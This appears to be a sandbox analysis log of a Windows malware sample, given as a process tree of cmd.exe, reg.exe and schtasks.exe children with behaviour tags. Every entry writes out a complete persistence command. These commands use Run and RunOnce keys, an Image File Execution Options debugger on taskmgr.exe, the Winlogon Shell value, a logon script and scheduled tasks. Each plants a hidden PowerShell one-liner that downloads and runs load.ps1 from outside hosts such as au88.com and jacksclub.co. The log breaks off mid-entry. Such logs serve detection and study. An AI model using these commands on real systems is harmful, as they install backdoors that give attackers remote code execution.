- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:2724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:1888
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5296
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3568
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5216
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:1476
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:1376
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:2640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:4056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:232
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2372
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3996
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:1672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5532
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6000
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3864
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:3620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
  2⤵
  PID:4252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
  2⤵
  PID:5816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    PID:2504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
  2⤵
  PID:2328
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:4488
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
  2⤵
  PID:1992
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2068
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:3776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
  2⤵
  PID:3504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
  2⤵
  PID:6084
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:1556
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
  2⤵
  PID:1460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:4724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
  2⤵
  PID:3528
- - C:\Windows\SysWOW64\reg.exe
